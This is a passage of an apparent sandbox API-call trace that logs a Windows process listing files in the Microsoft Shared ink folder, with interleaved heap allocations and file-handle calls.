hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.262] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.263] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.265] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0588 [0046.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee10a8 [0046.271] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0046.272] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.273] GetLastError () returned 0x12 [0046.274] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.275] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.277] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.278] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.279] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.280] GetLastError () returned 0x12 [0046.280] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.329] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0046.330] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.330] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0046.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0046.338] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0046.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee4ca0 [0046.340] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee4ca0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee4ca0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0046.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4ca0) returned 1 [0046.342] NtClose (Handle=0x170) returned 0x0 [0046.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0046.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0046.346] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0046.360] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.361] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0046.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.363] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0046.365] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0046.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee05a8 [0046.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee11b0 [0046.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.367] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0046.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.368] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.369] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee05c8 [0046.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee12b8 [0046.371] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.372] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0046.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.374] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.376] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee05e8 [0046.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee13c0 [0046.378] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.378] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0046.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.380] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.381] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0608 [0046.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee14c8 [0046.383] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.384] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0046.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0628 [0046.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee15d0 [0046.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.385] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0046.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0648 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee16d8 [0046.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.386] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0668 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee17e0 [0046.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.386] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4cb8 [0046.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee18e8 [0046.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.483] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0046.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4cd8 [0046.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee19f0 [0046.782] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.782] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0046.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.783] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.785] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4cf8 [0046.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee1af8 [0046.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x380) returned 0xed7330 [0046.788] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4958) returned 1 [0046.789] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.789] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0046.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.791] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.793] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4d18 [0046.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee1c00 [0046.799] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.799] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0046.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.799] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.800] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4d38 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee1d08 [0046.800] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.800] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.800] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.800] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4d58 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee1e10 [0046.800] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.800] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, 